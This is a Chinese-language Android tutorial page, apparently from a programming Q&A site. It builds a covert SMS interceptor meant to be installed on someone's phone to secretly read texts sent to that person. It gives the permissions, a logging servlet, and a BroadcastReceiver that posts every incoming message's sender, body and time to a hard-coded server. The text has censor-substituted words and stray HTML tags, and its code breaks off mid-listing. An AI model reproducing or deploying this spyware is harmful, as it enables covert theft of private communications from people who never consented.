当前位置:操作系统 > 安卓/Android >>

Android入门:广播接收者应用(短信易做图器)


一、短信易做图器原理介绍

短信易做图器的目的是易做图某人发送的短信,比如我们在A的手机中安装了此应用想要看B发送给A的短信;

而怎么样才能够获得短信息呢?如果通过短信方式发送给第三方,则会被看出来,因此我们可以通过网络将消息发送给web服务器;

Android手机中的Messaging应用也只是一个普通的应用;

二、核心代码


短信易做图器客户端核心代码

在AndroidManifest.xml中添加权限:
[html]
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> 
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 --> 


(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据
(2)byte[] pdu = (byte[])pdus[0];
(3)SmsMessage message  = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage
(4)String content = message.getMessageBody();获得短信内容
(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间
(6)String senderNumber = message.getOriginatingAddress();获得发送方号码

服务器端代码只是接收参数并显示;

三、短信易做图器具体代码

服务器端代码

[java] 
package org.xiazdong.servlet; 
 
import java.io.IOException; 
import javax.servlet.ServletException; 
import javax.servlet.annotation.WebServlet; 
import javax.servlet.http.HttpServlet; 
import javax.servlet.http.HttpServletRequest; 
import javax.servlet.http.HttpServletResponse; 
 
@WebServlet("/SMSServlet") 
public class SMSServlet extends HttpServlet { 
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 
        doPost(request, response); 
    } 
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 
        request.setCharacterEncoding("utf-8"); 
        String sender = request.getParameter("sender"); 
        String body = request.getParameter("body"); 
        String time = request.getParameter("time"); 
        System.out.println("发送方:"+sender); 
        System.out.println("发送内容:"+body); 
        System.out.println("发送时间:"+time); 
    } 

 

1.只是获得短信息

场景介绍

 


效果说明:

 

[java]
package com.xiazdong.smslistener; 
 
import java.io.OutputStream; 
import java.net.HttpURLConnection; 
import java.net.URL; 
import java.net.URLEncoder; 
import java.util.Date; 
 
import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content.Intent; 
import android.telephony.SmsMessage; 
import android.util.Log; 
 
public class SMSBroadcastReceiver extends BroadcastReceiver { 
 
    @Override 
    public void onReceive(Context context, Intent intent) { 
        Object[] pdus = (Object[])intent.getExtras().get("pdus");   //接收数据 
        for(Object p: pdus){ 
            byte[]pdu = (byte[])p; 
            SmsMessage message = SmsMessage.createFromPdu(pdu); //根据获得的byte[]封装成SmsMessage 
            String body = message.getMessageBody();             //发送内容 
            String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间 
            String sender = message.getOriginatingAddress();    //短信发送方 
            try { 
                sendSMS(sender,body,date); 
            } catch (Exception e) { 
                e.printStackTrace(); 
            } 
<span style="white-space:pre">          </span>if("5554".equals(sender)){ 
<span style="white-space:pre">              </span>try { 
<span style="white-space:pre">                  </span>sendSMS(sender,body,date); 
<span style="white-space:pre">              </span>} catch (Exception e) { 
<span style="white-space:pre">                  </span>e.printStackTrace(); 
<span style="white-space:pre">              </span>} 
<span style="white-space:pre">          </span>} 
        } 
    } 
 
    private void sendSMS(String sender, String body, String date) throws Exception{ 
        String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date); 
        byte[]bytes = params.getBytes("UTF-8"); 
        URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet"); 
        HttpURLConnection conn = (HttpURLConnection)url.openConnection(); 
        conn.setRequestMethod("POST"); 
        conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");   //设置HTTP请求头 
        conn.setRequestProperty("Content-Length", bytes.length+""); 
        conn.setDoOutput(true); 
        OutputStream out = conn.getOutputStream();   
   &nb

补充:移动开发 , Android ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,